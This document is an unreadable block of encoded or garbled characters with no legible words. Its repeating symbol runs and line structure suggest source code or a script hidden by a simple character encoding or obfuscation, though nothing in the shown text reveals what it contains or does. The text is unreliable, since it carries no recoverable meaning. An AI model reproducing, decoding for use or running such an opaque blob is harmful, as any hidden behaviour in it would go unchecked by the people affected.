TNSSUONBSROFFFXFFFNV__^TVMVPPQVOOFFBSRF[FF9^QSRQNBSRO]lFFFFFFFF FFFNGFFFFBSRFFF	^R_ NSSUONBSROFZFFFFFNW_MR^WOFFFFFFP

_
TNUPPONBSRJFP

_
TNQPWOOFG[[FFVOFFFl]ll FFFNGFFFS_V9QNBSROOFFlFFF	RR^TT9
NU	NQPTOJFFFF	^R_ NQPUOO]lF]llFF FN9UNTTRONU	NQPROJFFFFFP

_
TNPUUONBSRJFVJFFFFNRVPRMUTOOJFFB SUT Q^	VOOFFl FFFNB^T^TUFG[[FFDDFFFF@@FB^T^TUFG[[FFFB SUT Q^	V=W;OFl	RR^TT9
N	^R_ NQPSOJFF	^R_ NQPPOO]B ST	[SSV]B
QU
R
[B ST	CWR]l]lFFFFFlB^T^TUF[FFB SUT Q^	V=W;]lllFFFF
FFFFFlFFFF	RR^TT9
NP

_
TNQPSOJF9UNQPQOO]lF]lFFFlllF FFFFNGBUQF@@FF	9	NB^T^TUJFFFFF^P	PU QNOOFZ[FFVOFFlFF]llllFBS^TV
F[FFTWTNO]llFF FNGBS^TV
FFFFFFFP

_
TNSSUONBS^TV
OFFFFFZFFFFNRTTMQ^OOFFlFF	RR^TT9
N9UNQPSOJFFU	NQP^OO]lFFF]llllFFFFFFFB9
QS
F[FFF9		NP

_
TNW^_OO]lFFFF FNP

_
TNQPVONB9
QS
OF@@FFFFFU	NUPPONB9
QS
JFF9UNQWSONBSROFHFAAOFF[[[FVOFFFlFFFBSS
TF[FNOF9UNPUUONB9
QS
JFFU	NUPPONB9
QS
JFFFAAOFFMFWO]lFFFF FFN9UNQSPONOFFKFFFBSS
TFFFFFZFFFN^STRTMWWS^OOFFFFllFFFFFFF]lFFFFFlFlFFBUSF[F	^R_ NQP_ONWP__VVUVNOOFFFHFFFP

_
TNW^SOFHFFF9UNQWSONBSRO]lF FFFN&P

_
TNS_QONBUSOOFlFFFB9^VRF[FFFFFF&NOFFP

_
TNTVTONBUSO]lFFFF FFNB9^VRF@@FFFFP

_
TNQQVONOFFFKFB9^VRFFFFFFZFNW^TSWMP^WR_OOFFlF]lFllFF&	^R_ NQQWONBUSO]llFFFNBUSJFB9^VRO]lB		FF[FF 
]lFFF FFFFN9UNP_^ON9UNRRSOOFFFF@@F	^R_ NQQTONP

_
TNPUQOOOFFFlFFFFBT P^F[FFFFFU	NRRSON	9
NAIAOJFFFN9UNQQUOFFFF[XFFNWRKPOJFFFFFFP

_
TNQQROF[XFFTJFFFP

_
TNUU^OFFFFFF[XFFF 
OO]lFF FFFFFNGFFFNP

_
TNQQSON9UNURTOOFFFF@@FFFFF99	NBT P^OOOFlFFFFFFFB		FFFFF[FNOFF9	99	9	NBT P^OFX[FFNPMR_RO]lFFFFFFlIIF&F	
lllFFlIIF	
F		F 	F4	F	K 	llFFFFFFFFBT^VFF[FFF 
]B
WPT	W
UW[6.69+',)490#45/)(]B
S[B
WPT	W
UWL^]lFFFFFF FFFFN	^R_ NQQPON	^R_ NQQQOOOFlIIF&F
K	llFBQ^PQFFF[FF9		NP

_
TNQQ^OJFFFFFNOO]llllBT^VFF[FFF	^R_ NQTPONBQ^PQOF@@FFP

_
TNQQ_ONVSPQ_V_P VNOJFFBQ^PQJFO]lFFFFFFFFlU9
 NWP__VVUVNOJFFFFNU^PMUROO]lFFFFF FFFNGFF URUSWNWP__VVUVNOJFFU 		 WS	NBSROOOFFlF	RR^TT9
N	^R_ NQPSOJFFU	NQ^VOO]lF]llF
V _RR _9NWP__VVUVNOO]lFFF^
	 ^
NWP__VVUVNOO]lF FNP

_
TNQQPON9UNQ^WOOOFFF&9N	^R_ NQ^TOJFWJFNTQQMTUOO]B TUQ	[KSWP]B
[NB TUQ	XVOYB TUQ	\KB TUQ	]l FFFFNGFFFFB		FF@@FF9UNQQPONP

_
TNRRSOOFFF@@FF9UNQQPON9UNQ^UOOOFFlFFFFFFBR^STV	
WFFF[FKW]lFFFFFF 	FNB^^^QRFFFFF[FFV]FFFB^^^QRFFZFFFFFFT]FFB^^^QRMMOFFFFFlFFFFFFB
F[FFFFFU	NQ^RON	9
NP

_
TNQ^SOFFHFFF	^R_ NRRVONN___TWMQ_OJFFFFFFN_____TMQOOOJFNP

_
TNQ^POFFF[XFNRZZWOJFFP

_
TNQQROFFFFF[XFFTJFFFFFF	^R_ NUU^OF[XFFF 
OO]lFF FFFFFNU	NQQPONP

_
TNURTOOFF@@FFF99	NB
OOFlF FFFFFNB^^^QRFFFF[[[FFVFF@@FFFFF9UNQQPON	^R_ NQ^QOOOFU	NQ^QONTO]lFFFFF	]llFFFBRV
PFF[FFNOFFFFF9	99	9	NB
O]lFF FFFNBRV
PFFFFFFZFFFNQUMTQOFFFFFP

_
TNQ^^ONBRV
PJFFFFFFNNQV^KTVSOJFFNRS^MPTOJFFNT^_MTUTOJFFFNSV_MWUOJFFFNSTTMWOJFNSWRMWVOJFFNUVMR_POJFFFFNVTVQMV^OOJFOOFFFllll FNB^^^QRF[[[FFFFFVFF@@FFFFF9UNQQPONU	NQ^QOOOFF9UNQ^QONTO]lFFFF	]lFFlFFFBR^STV	
WF[FBRV
P]lFF]lFFFlIIF16F$	F$
	FFllF FFFFNBR^STV	
WFFF[[[FFFFKWOFFFFFBR^STV	
WFFF[FFFNRPVMRVO]FlFFFFF FFFFNBR^STV	
WFX[FNR^TMW^OOFFFFlFFFB WQSUWF[F URUSWNWP__VVUVNOJFFFFFU 		 WS	NBS^TV
OO]lF FFFNGB WQSUWOFFB WQSUWFFF[FFFF URUSWNWP__VVUVNOJFFFFFFBS^TV
O]lFF9		N9UNW^_OJFFF9UNQWSONBSROFHFFAAFHFU	NQQVONOJFFFP

_
TNQ^_OO]lF FFNGB WQSUWOFFlF	RR^TT9
N9UNQ_VOJFFFFU	NQ_WOFHFFBR^STV	
WO]lFF]lFlFFFFFFFF^
	 ^
NWP__VVUVNOO]lFFF
V _RR _9NWP__VVUVNOO]lFTWTNO]llllFU
WTNO]lFBSPFFFF[F	^R_ NTSQONWP__VVUVNOJFFFU	NSVPOO]lFFFF 	FFFNN	^R_ NQ_TONWP__VVUVNOOJF9	_	^R	VVNOOFFFFFFBUS T^^OFFFFFFll&P

_
TNQQWONBUS T^^FFFFFFHFFFU	NTVPOFHFFBSPO]lFFFFFF&P

_
TNQQWONBUS T^^FFHFFFFFP

_
TNQ_UOFHFBSPO]BQW9WS
[SL^]BS[BQW9WS
K_]llllIIF	FF	KllFF FNBT^VFFF@@FFFFGUW_U9W^NOFFF@@FFU	NQ_RON	^R_ NU_SOOOFlBW9	
FFFF[FFF9		NP

_
TNQQ^OJFFNOO]lllF FFFFFFN9UNQ_SONBW9	
OF@@FGP

_
TNQ_PONVSPQ_V_P VNOJFBW9	
JFFOOFFlFFBW9	
=;FF[FVSPQ_V_P VNO]l&9		NU	NQQ^OJFFBW9	
O]lFFllFB!*)$'*5=U	NQ_QO;F[FV]lFFFF
 SRNO]lFFF	RR^TT9
N9UNQ_VOJFFFFF9UNQ_^OFFHFFBR^STV	
WO]lFF]llFlFFFFlFF FFFNB^T^TUFFG[[FFFFFDDOFFlFFFFB!*)$'*5=P

_
TNWO;FFF[FFB^T^TU]llllF	_UTURNWP__VVUVNOJFFFB^T^TUO]lFFFlFF FFFNBUQOFFFlFBR^USUQF[FFP

_
TNTSQONWP__VVUVNOJFFU	NSVPOO]l 	FFFFFNNU	NQ_TONWP__VVUVNOOJFFFF9	_	^R	VVNOOFFFFBS
VT OFFlFF&9UNQQWONBS
VT FFFHF	^R_ NQ__OFHFFBR^USUQO]lFFFFlFFFNBR^USUQJFBS
VT O]llF9
T
PTTN	^R_ N^VVOJFBSRJFFFFFF9UNQ^_OO]lFFFTWTNO]lFU
WTNO]lFFB!*)$'*5=9UNQ_QO;F[FV]lFFF
 SRNO]lU9
 NWP__VVUVNOJFFFFFNW_^M_ROO]lFFF FFN^
	 ^
NWP__VVUVNOOOF_R
RRWU
NWP__VVUVNOO]l9		N	^R_ NTWROJFFFFB^T^TUFHFFAAFFHFFFFU	NQQVONOJFFP

_
TNQ^_OO]lFFFFFFFFFFFN2	
FFB
WSW9TOFlFFFF	RR^TT9
NU	NQ_VOJFFFFFFB
WSW9TO]llllFFFN#	FFFFFB
WSW9TOFFFFlIIF
F	F 	F4	F	K 	llF 

FlFSU_T	_NU	N^VWOO]llFFlFFlFFF 	FFWVR
RNOlFFFFFFlIIFFF 	F16F$
	%		
llllF FNGFFFFF NU	N^VTOOFFFFFFFFFFGF	^R_ NQ_RONU	N^VUOOOFFFFlIIF
F  
FKK
	llFF FN	^R_ N^VRON'$56'2.FFFFHFFFU	N^VSOOOFFlIIF1	6FPHRF\F 
F
K	llFFFFFFFF9	FF'$56'2.FFFFFFHF	^R_ N^VSO]BRUVP^[NVMVWSO]BS[BRUVP^CWT]lFlF FFFFFFNGFFFFFF9UNQ_RON9UN^VUOOOFFFlIIF6.6F^HWF	\F
FlllllFFFF]lFFFFFFFFlIIF&	K	FK
llFlIIF
F	llFBVPPQW9WFFFF[F9
NO]lFFFF FFFNGFFP

_
TNQ_SONBVPPQW9WOOFFFllFFFFF]llFFlFFFFFFB
F[FFFNO]lFFFF 	FFNBVPPQW9WFFFBFFFFF[XFFB9	OFlF FNBF[[[FFVSPQ_V_P VNOOFFFFFlF	]lFFlFFB
=B;FFF[FFFFFB9	]llllFFFB
]lllFlFF 	FQWQWNB	

^	JFFB		RUOlFFFFFFFFlIIFF	llllFFlFFFBVS9FF[FFFFF&P

_
TNS__ONB	

^	JFF 
JFFF

JFFVJFFNVUPWQMVRS__OO]FFFFlF FFNGFBVS9OFFFFlFFFFFFFFF 
]lFllFFFFFFFFlFFFF 	FFFNB		RUFFFFB9P9S9POFFFlFlFFF FFFFFNGFFFFFP

_
TNQPVONB9P9S9POFFFFFFGFFFFFB9P9S9PFFFFFU	NSSUONB9P9S9POFFXFFFFFFNVS_MVSQOOFFFFFlFF	]llllFFFFFllFlFFFFFFFllllBQWS_P _QFF[F&U	N^VPONB9P9S9PJFFBVS9O]lFFFFFFN2	
FFFFFFBQ	
^ OFFFFlF	RR^TT9
NP

_
TN^VQOJFFBQ	
^ O]lFFFFFFF	]lFFFFFFFFN#	FFFBQ	
^ OFlllF	]lFFFllFFF FNBQWS_P _QOFlF]lFlIIF	F
llFFlFF 
]llFFFlFl 	FFFFVWSPRPNB
9OlllFFFFFlFFB		RUFFFF[FFFB!*)$'*5=P

_
TN^V^O;]lF FNGFFFFFU	NQ_SONB		RUOFFFFFNB		RUOOFFFllFF 
]llFFFFF FFNGFFF N	^R_ N^VTOOFFFFFFFFNB
9OFFFFFU	N^V_ONB
9JFU	NTRPOOFG[[F 
OFlFFFFF 
]lFFFlFFFlFFFFFFFFB
V^V^F[FFFFF1696*3!/(9"/4FFFFFHFFAIAFHFFFFB
9]llllF FFFFNU	NQ_TONB
9OFF[[[FFFAHAOFFlB9VPVFF[FFNB
V^V^O]lFFFFF
FFFlFBQ
WVFF[FF	^R_ N^WVONB
V^V^O]lF FFFNGFFFP

_
TNTVSONBQ
WVOFFFFGF	^R_ N^WWONBQ
WVOOFlF 
]lFFFFFlB9VPVFFFF[FF	9WTTQP NBQ
WVJFN9UN^WTOJFFFFFF	^R_ N^WUOJFFU	N^WROJF9UN^WSOJF	^R_ N^WPOOO]llllFFllFFFFF 	FFFNB9VPVFFFFFFB	

^	OFFll FFNGFFFFP

_
TN^WQONB	

^	OOFFllFFFFF	]lFlIIF16F$
	%		
\F	KF		ll FFFNQWQWNB	

^	JFFFB		RUOOFFFlFF]lFFFlIIF&

F	llFFFFlFFF 
]lFFFFFFlFFFF 	F	9WTTQP NBQ
WVJFFFB9	U9
JFFB^W9V 9FF[FFFVJFFF@BWP	W^FFF[FFFF

JFFFF@B	9	RSSUF[FF

OlFFlFB
FFF[FNO]ll FFNB^W9V 9FXFFNVUMVSOOFFllllFFFFFB
]llFFFF FFNBWP	W^FFFF[[[FFFFF

OFFFFFFlFFFFFFBWP	W^FFF[FFFNO]lFB	9	RSSUF[FFF9UNP_VONOFFMFFFNV_MVWO]lFllllF FFFNU	N^W^ONOFFFXFFB	9	RSSUOFFFFFlFFB
]lFFllF FFNGFFP

_
TNTVSONBQ
WVOOFFFFFFlIIF	FllFFFFB
]lFFFFFFlFFFBSVT	FFF[FF&P

_
TNTUSONBQ
WVO]l FFNBSVT	FFFG[[FF 
OFFFl FFNNBWP	W^=BSVT	;OOFFlFFB
]llBWP	W^=BSVT	;F[FF]lllFFFllFFB_^_V9FFF[FTWUQSQNBQ
WVO]lF FFFNGFFFF	^R_ N^W_ONB_^_V9OOFlFFFFFFFFB
]llFFlF 	FFFFNB_^_V9FFFFFBPVS OFFlFFF FFNP

_
TN^W^ONOFFFFXFFFFFB	9	RSSUFFFFF	^R_ NP^_ONB
OFFFX[FNRVWM__OOFFlFF]lFlFFFB
V^V^F[FBQ
WVFFFFHFFFFFFAIAFFHFFBPVS ]llllFFFF FFFN&	^R_ N^TVONB
V^V^OOFFFFlFFFFFF	]lllFFFFFF FFFFFN&U	NTVSONB
V^V^OOFlFFFFFB
F[FU	NRTWONB
JFF	9WTTQP NB
V^V^JFB9	U9
JFB^W9V 9FFFMFWJFBWP	W^JFB	9	RSSUOO]lFFFF
 FN&9UN^TWONB
V^V^OOFlBW^_TFFF[FF9UN^TTONB
V^V^JF	NU	N^TUOOO]lFFBW^_TF[FFFP

_
TNQPVONBW^_TOFFFFFYFFFFU	NQQONBW^_TOF\FFDD]lFFFFF FFFFFN	^R_ NQ_PONBW^_TJFFB9	U9
JFFFFFOOFlFFFFFFB
=;FFFF[FFFFB
V^V^]B
TRW[P_M__]B
 ^
[B
TRWKRR]lFFFFFlFFllFFFFFB
]lFllFFFF 	FFFP^UTNB
9OlFFFFFFlFFFFFFFlFFF FFFFFFNGFF	^R_ NQPVONB
9OFFFFFFGFFB
9OFFllllFFFFF 
]llFFFF FNP

_
TN^TRONB
9JFFFFF	^R_ NTRPOOFFFFFG[[F 
OFlFF 
]lFlFFFFFlFFB
9FFFFF[FFU	NP^WONB
9O]lF FFFFFFNB
9FF[[[FFVSPQ_V_P VNOOFFFllllFF 
]lFFlFFllllF FFFFNGFFFFFFP

_
TNQ_RONU	N^TSOOF@@FFFP

_
TN^VRON'$56'2.FFFHF	^R_ N^TPOOOFFFl9	FFFFF'$56'2.FFFHFFFP

_
TN^TPO]lFlFFlFFF FFN9UN^TQONU	N^TSOOFF@@FFFFF9
9NB
9OOFlFF9
NNB
9OJFFFFFFO]FlFllFFFFFBQ
WVFF[FF N	^R_ N^T^OOFYFFFF1696*3!/(9"/4FFFFHFFFFFFAIAFFFHFFFP

_
TN^WVONB
9OFFFF\FFFFDD]lllFFF FFFNBQ
WVF@@FP

_
TN^T_ONBQ
WVOFFFFFF@@FFFU	N^WVONB
9OFFFG[[FFAHAF@@F9UN^WVONB
9OOFFFl FN^^V9S^UQ9NBQ
WVOOFFFlFFFFFFFF]llllFFFFFlFFFFlFFlF FN	^R_ N^TQON	^R_ N^UVOOOFFlFlF FNGF9UN^TQONP

_
TN^UWOOFFFFFFFGFF99N9UN^UVOOOFlIIF	F	KF 	F16F6F*ll FFFFFN	^R_ N^TQON9UN^UTOOFF@@FFFF	^R_ N^TQON	^R_ N^UUOOOFFllBFF[FFFFF9NN9UN^UROF[XFF	^R_ N^USOJFFP

_
TN^UPOFF[XFFWOO]lFFFFFF FNGFNBOFF@@FFFFB=V;KX/"OFFFlFFF9UN^UUONB=V;KX/"O]lFFFFFFF
Flll	^R_ N^UUONWO]llFFFFlFFFFFFFlFlFFBRTSRFF[FFF
9
NNB
9OO]lFFF FFNGFFFFFF99	NBRTSROOFFFFFFlllFFFFN		
OFFBRTSR]lFFFlFFlFFFFFF 
]lFlFFFFlF 	FFF^^V9S^UQ9NBQ
WVJFFB^W9V 9F[FFVOlFFlFFF FFNB^W9V 9FFFXFFNWVMPOOFFFFBWP
9W9R[6.69+',)490#45/)(]BTW
[BWP
9W9RL_]lFFFFF 
]lFFFFFFlllFFFFF FFNGFF9UNQPVONBQ
WVOFFFBQ
WVF[[[FDDFFF9UN^UQONBQ
WVJFFFFFP

_
TNTRPOOFG[[FFF 
OFlFFFFFFFF 
]llllFB^		WF[F&	^R_ N^U^ONBQ
WVO]lF FFFNB^		WFF[[[FF 
FFFFFFFGFF9UN^T_ONB^		WOOFFB
 R[WPLU]BQ_Q[B
 RKUU]lFFF 
]llBWQ	FF[FFF N	^R_ N^T^OOFFYF&9UN^U^ON1696*3!/(9"/4OFF\FF 
]lFFFFF FFNBWQ	FF[[[FFF 
FFNB^		WFG[[FFBWQ	FF@@FFFFFF	^R_ N^U_ONB^		WJFFFFFBWQ	FHFFF"/4#%2)4?95#6'4'2)4OFG[[FFFVOOFFFFlFFF 
]B
PQ^TT9R [NVU^MV_O]BT_UPQU[B
PQ^TT9R CWP]lFFFlFFBU	RQ^FF[FFFFF&	^R_ NTSVONB^		WO]lFFFFF FFNGFFP

_
TN^W_ONBU	RQ^OOFFlFFFFF 
]lFFFFlFFFFFFFF 	FFFFNBU	RQ^FFFFFB
RU^ 9PSR OFFFlllF FFNB
RU^ 9PSR FF[[[FAHAFFFFB
RU^ 9PSR FFFF[[[F9UNTRPOOFlFFF	]lFFlB
V^V^FFFFF[FFB^		WFFFFHFFFF	N9UN^RVOOFFHFFFFB
RU^ 9PSR ]l FFFN&9UN^RWONB
V^V^OOFlF
VUNB
V^V^O]lFF	]lFFFFlIIFFK	
lllFF FFFN&P

_
TN^RTONB
V^V^OOFFlFFFFF^^V9S^UQ9NB
V^V^JFFB^W9V 9FFFFMFWO]llllFFFFF
FBTVQ[NVWMVSO]BQT[BTVQCP]l FFNGFFFFF
VUNB
V^V^OOFlU9
 NB
V^V^JFNVS MVWRSOO]lFF
VUNB
V^V^O]lFFlFFlFFFlFF FFNGF&U	N^RUONB^		WOOFFFlU9
 NB^		WJFFFNR^QMPOO]llF&9UN^RUONB^		WO]lFFlIIF16F#4	\FFK	
llFFFFGF&P

_
TN^VRONB^		WO]lFFllFl 	FFFSR^V V9NOlFFllFFFFFFlFFB
F[FFFFWVR
RNO]l FFNGFP

_
TN^W_ONB
OOFFl]lFlFFFFFllllFBW
FF[FFNO]lFFFFFBPQ9	SQFFFF[F 
]lFFFF 	FFNU	N^RRONB
OFFBOFlIIF1	6FPHUF	\FFK
llFl FNGFF	^R_ NQPVONBOOFllllF	]lllFFFFFFFlFFFFFFFlB9
P
 F[F9UN^WVONBO]lFFFFFF FNB9
P
 FFF[[[FAHAOFFFFlFFFFFFFFB9
P
 F[FFB]lFFFFFlFFF FFFNNBW
=B9
P
 ;OOFFlFFF	]lFFlFFFlBW
=B9
P
 ;FFFF[FF]l FFNVWSPRPNBOOFFlFFP^UTNBO]lBPQ9	SQFFF[FF]llFFFFFlFFlF FN&9UN^RSON9	_	^R	VVNOOOFBUSU^[WPMWQ]B_
V[BUSU^KUR]lFFBUTPF[FFFTWUQSQN9	_	^R	VVNOO]lFFF FFFN	^R_ N^RPONBUTPOOFFFFlFB		RUFFF[FB!*)$'*5=9UN^V^O;]llllFFFFFFF 	FNBUTPFFFFFFFFFFBPVS OFlFFFl FFFFFNBPVS FFFF[[[FFFFFF^SU^S
_NOOFFFlFF	]llIIF16F/F'6/FF	llFlFB	

^	FF[F9	_	^R	VVNOFFFFFFHFFAIAFFFFFHFBPVS ]l FFFNGF&U	N^TWONB	

^	OFFFFFP

_
TNQQONP

_
TN^TTONBPVS JFFF	NU	N^RQOOOOFFG[[FFF9UN^R^OOFFFFlF	]llFlFllF FFFNQWQWNB	

^	JFFB		RUOOFFFFFlF
VUNB	

^	O]lFBPQ9	SQFF[FF]lllFFFlllFFFFlFFFFFFFlFFFlFlFFFFFB PPSU
_FFFFF[FFFB!*)$'*5=	^R_ NR^TO;]lFFFF FFNU	N^RPONB PPSU
_OF@@FGFFNB PPSU
_OOFFFlIIF4	F	K 	FFllF FFFN^US9NB PPSU
_OOFFFllllFBPQ9	SQFFF[FF]lFFFlFFFFlFFFFFFFN2	
FB
WSW9TOFFFlIIF&F  Kll	RR^TT9
NU	N^R_OJFFFB
WSW9TO]lFFFFFFFFFFFFFFN#	FFB
WSW9TOFlFFFFFlFFFFlFllF 	FQR
VNOlFlIIF	K	F
KF	

	llllFFFFFlBW
VSFF[FNOF9		NU	N^SVOJFVO]lF FFFFNNU	NQQVONOFKFFFFFBW
VSOFX[FFFNUSUPMPROOFFFFlFFFFF9		N	^R_ N^SWOJF9UN^STONOO]lFBRWFFF[FNN
_
QSNOJFFFNU	N^SUOOOO]lBVV_FFFF[FFP

_
TN^SRONP

_
TNT^OOFFFFFYFFFFFFP

_
TNT^ONOFFFF\FDD]llllFFFF FNBVV_FFG[[FFDDF@@FBVV_FFFFG[[FFFFF
_
QSNOOFFFBRW=;FFFFF[FFNBVV_JFN	^R_ N^SUOJF	^R_ N^SSOOO]lFF 	FFFNBRWFFFFFFB	^TVUOFFFlIIF'6%FF4#52F		

ll 	FFFFFFNB	^TVU=W;FFFFFFFBWS_9WOFFFFFFlFFFFFFBQ
FF[FFFFF	^R_ N^SRON	^R_ NSV^OOFFFFFYFF&P

_
TNSV^ONB	^TVU=V;FFFFHFFAIAFHFFFFFFBWS_9WFFHFALAOFFFFFF\FF 
]lFFFFFF FNG	^R_ N^RPONBQ
OOFF	]lFFllll 	FFFFNBQ
FFFFFFBSQQOFFFFFlFFF FFFNG&U	N^SPONBSQQOOFFFFF	]lFFFFFFFBWTRU	_FF[F&U	NTVTONBSQQO]llll FNBWTRU	_FFFG[[F 
FF@@FFFFNP

_
TN^SQONOFFKFFBWTRU	_OFFFXFFFNQV_QKUR_QOOFF
VUNBSQQO]lFllllBQ^PQFFFFFF[FF9		NU	NQQ^OJFNOO]lFF FFNGP

_
TN^RPONBQ^PQOOFBQ^PQFF[FFFFFNO]lFFFFBSVV WF[FFF	^R_ NTSQONWP__VVUVNOJF9UN^S^OO]BW	^Q[PWV]B[NBW	^QXVOYBW	^Q\KBW	^Q]llllB9F[FN NP

_
TNWRVOOFFYFF169%)(2#(29"/4F\FF'$56'2.FFFHFFP

_
TN^S_OOFHFFFF	^R_ N^PVO]l 	FN	^R_ N^SRONU	NSV^OOFFFFYFFNOF&	^R_ NSV^ONB9FFFHFFF	^R_ N^PWOOFFF\FFFFFFNOFFFB WWPOFlFFFFFF FFNP

_
TN^PTON	^R_ N^WVONB WWPOOFF[[[FBSVV WOFF	]lFBQTUVSF[FU	N^PTONP

_
TN^PUONB WWPOOFFHFFAIAFFFFHFP

_
TN^PTONB WWPO]BPV__[WRSWPP]B S[BPV__8WUR]lFFFFFF FFN	^R_ NQ_PONBQTUVSJFFBQ^PQJFFFFOOFF	]lFFFFF FFFNG&	^R_ NWRQONB WWPOOF	]lFBR 9	TF[FF&	^R_ NTTUONB WWPO]lFFFFFF FNGBR 9	TFFFFFBR 9	TFFFFXFNTV_QVQUMQ_OOFFF	]llFFFFFFBRV
PF[F&9UNS__ONB WWPO]lF FNGP

_
TNQPVONBRV
POFFFFFFFFF	^R_ N^PRONBRV
PJFU	N^PSOOFF[[[FFF 
OFF	]lBPSQ VRFFF[FF9UNSWWON9UN^PPOJFFFFFDDJFFBRV
PO]lFFFFFFFF FFFNGP

_
TNQPVONBPSQ VROFFFFFFFFBPSQ VRFFFFF[[[FFFBRV
PFFFFFFGS_V9QNBPSQ VROOFF	]lF URUSWNB WWPJFFFFBPSQ VRO]lF FNU	N^PQON9UNTVVOOOF&	9
NB WWPJFO]llllFlFFFFNBQ^PQJFFFFFFBSVV WJFFFFB9JFFB WWPJFFFFFBQTUVSJFFBR 9	TJFFBRV
PJFBPSQ VRO]lFFSQV9VNO]lFFFFFlFFlFFFBUQTR
F[FFFFFB!*)$'*5=9UN^P^O;]llB PPSU
_F[FB!*)$'*5=P

_
TNR^TO;]llFFFB 
WFF[FFFN	^R_ N^RPONBUQTR
OFFFF@@FFGFNBUQTR
OOFFFN9UN^P_ONB PPSU
_OFF@@FFFGFNB PPSU
_OO]l FFFFNGFB 
WOFFFFlFFFFF]lFFFFFlllFB 9WP
FF[FFNOFFF9		N9UN^QVOJFFVO]lF FNN9UN^SQONOFFFFFKFB 9WP
OFZFFFFNV__MVRQTOOFFFlIIF16F2F%
	\F
F 	llFFFFF]lFllFFFlSR^V V9NO]l9		NP

_
TN^QVOJFU	N^SQONOO]lFFFFFFFFN2	
FFFB
WSW9TOFlFFF	RR^TT9
NP

_
TN^QWOJFFB
WSW9TO]lFFFFFFN#	FFFFB
WSW9TOFFFlIIF654KRFF
FllFFllllFlFFlFFF 	FFPW_T9P _NOllFFFlllFlllFFFFFlllFFB
VRW
FFFFF[FFTWTNO]lFFFFllFF FNGB
VRW
FFF	^R_ NSSUONB
VRW
OFZFFNRRTMS^OOF]l FFFFFNGS_V9QNB
VRW
OOFBWS[R^P]BR_QQW[NBWSXVOYBWS\KBWS]llF	RR^TT9
NU	N^QTOJFP

_
TN^QUOO]l]lFlllFFF FFFFFN9UN^PQON	^R_ N^QROOFFF@@FF9NU	N^QSOOOF]lFFlllFBR
WTWFF[FFFF9	_	^R	VVNO]ll
NO]lllF FN&	^R_ N^QPONBR
WTWOFFFF@@FG&9UN^RSONBR
WTWOOFlFFF]lFlFFFFFlllFFFF FFFNG&	^R_ N^QQONBR
WTWOOFFFlFFFFFFFB   	 F[FFFFF&NVO]llFFFFF9WR
R NBR
WTWJFFFFFFNQSVKTSQOJFFO]lFFFFF&NB   	 O]lFU9
 NBR
WTWJFFNRWWM^TOO]lF
NO]lFF
FFFF FNG&U	N^WWONBR
WTWOFFFFFFG&P

_
TNWRQONBR
WTWOOFFFlFFFFFU9
 NBR
WTWJFFNTUSMTS^OO]lF
NO]lFFFlFFFFFlFF FFFFFN&	^R_ N^QQONBR
WTWOF@@FFFFFNG&	^R_ N^WWONBR
WTWOFFFG&U	NWRQONBR
WTWOOFF@@F&P

_
TN^RUONBR
WTWOOFFlFB   	 FF[FF&NVO]lFF9WR
R NBR
WTWJFFNWTQMUPPOJFFFO]lFF&NB   	 O]llFFFFFFU9
 NBR
WTWJFFFFNR^VMWUOO]lF
NO]lFFFFlFFFlFFFF
NO]lFFFF FFNG&9UN^QQONBR
WTWOFFFFFFG&P

_
TN^Q^ONBR
WTWOFFFG&	^R_ N^WWONBR
WTWOOFFlFFFF	RR^TT9
NU	N^QTOJFFU	N^Q_OO]l FFFNP

_
TN^^VON9UNQ^WOOOFF&9N9UN^QSOJFFWJFFNSURUKWQRUOO]lF]lFFllllFFFlFFFFFBUR	TRFF[FFBR
WTWFFFFFFHFFFFAIAFHFF^SU^S
_NO]llllFFFFFF FNW U^PTWSNBUR	TROOFFl]llF FN&P

_
TN^^WONBUR	TROF@@FFFFF&P

_
TNTTUONBUR	TROFFFXFFNR_QWMT_OFFFFFF@@FFFFFFU	N^^TON9^QSRQNNOFF&P

_
TN^^UONBUR	TROOOFF[[[FFFFF	^R_ N^^TONB
VRW
OOFlFFF
V _RR _9NBUR	TRO]lVV QNO]llllFPTQ
TQVNO]lFF]lFFFFFlF FFFN&9UN^^WONBUR	TROFF@@FF&U	NTTUONBUR	TROFFXFFNVWPMVWWTOOFFFB RTS
[KUQU]BP9 [NB RTS
XVOYB RTS
\KB RTS
]lFFBTRV
RUFF[FFFFFFNOF&U	N^^RONBUR	TRJF 
JFFF

JFFFFFVJFFFFNRP^UKS^QOO]l FNU	NQPVONBTRV
RUOFF@@FF	^R_ N^VPONP

_
TNQPROJFFBTRV
RUJFFB9OFF@@FFF	9	NB9=W;JFF^P	PU QNOJFFAXAOOFF]llNBTRV
RUJFFB9O]lFFFlFFFFB^V9SFFF[FFFFFF URUSWNBUR	TRJFU 		 WS	NB
VRW
OO]llllFF FNGB^V9SFFFFG&9UN^^SONBUR	TROFFFFFFFF&9UNTTUONBUR	TROFZFFNW^V_K^V_OFFFFF9UN^^TON9^QSRQNNOF&9UN^^PONBUR	TROOOFFFG[[FP

_
TN^^TONB
VRW
OOFFFlF FFFFNB^V9SFF@@FFF&U	N^^WONBUR	TROOFFFFFlFFFBTRV
RUFFF[FFFFNOFF&U	N^^PONBUR	TRJF 
JF

JFVJFFNRVVTM_ROO]lFFFFFFFFBP_9FFFFFF[F9UN^^QONBTRV
RUOF@@FU	N^VPON9UNQPROJFFBTRV
RUJFB9OFFFF@@FFF	9	NB9=W;JFFF^P	PU QNOJFFAXAO]lFFFFFNBTRV
RUJFFFFB9O]llF FFNGBP_9OFFlU9
 NBUR	TRJFFFFNQTWKUVWOO]l
VUNBUR	TRO]lFFFlFFFlFFFF FFN9UN^^VON9UNQ^WOOOF&9N	^R_ N^QSOJFFFFWJFFFFN^_TMTQV^OO]l]lFll_R
RRWU
NBUR	TRO]B  WP^[TT_PU]B9VT^W[B  WP^8WRP]lFU9
 NBUR	TRJFFFNW^_MWVUOO]lFF
V _RR _9NBUR	TRO]lFVV QNO]lFFFFFFPTQ
TQVNO]lFFFFFFFFFFFFN2	
FFB
WSW9TOFFFl	RR^TT9
N	^R_ N^QTOJFB
WSW9TO]lFFFFFN#	FFFFFFB
WSW9TOFFFFllFllF 	FT	NOlllFFFFlB
VRW
F[FFTWTNO]l FNB
VRW
F@@FFFGWTWSS_PWNB
VRW
OOFlFB   	 F[FFFFT_RUU99NP

_
TN^VVOJFFDDO]lFBT_TRFF[FFFFF	WS	P W_N9UN^^QONB   	 OFFFFYFFFB   	 FF\FFFFDDO]lFFFB9Q	9 9UFF[FFFFF	WS	P W_NB
VRW
O]lFFF FFNGP

_
TN^^QONB   	 OFFFFFFP

_
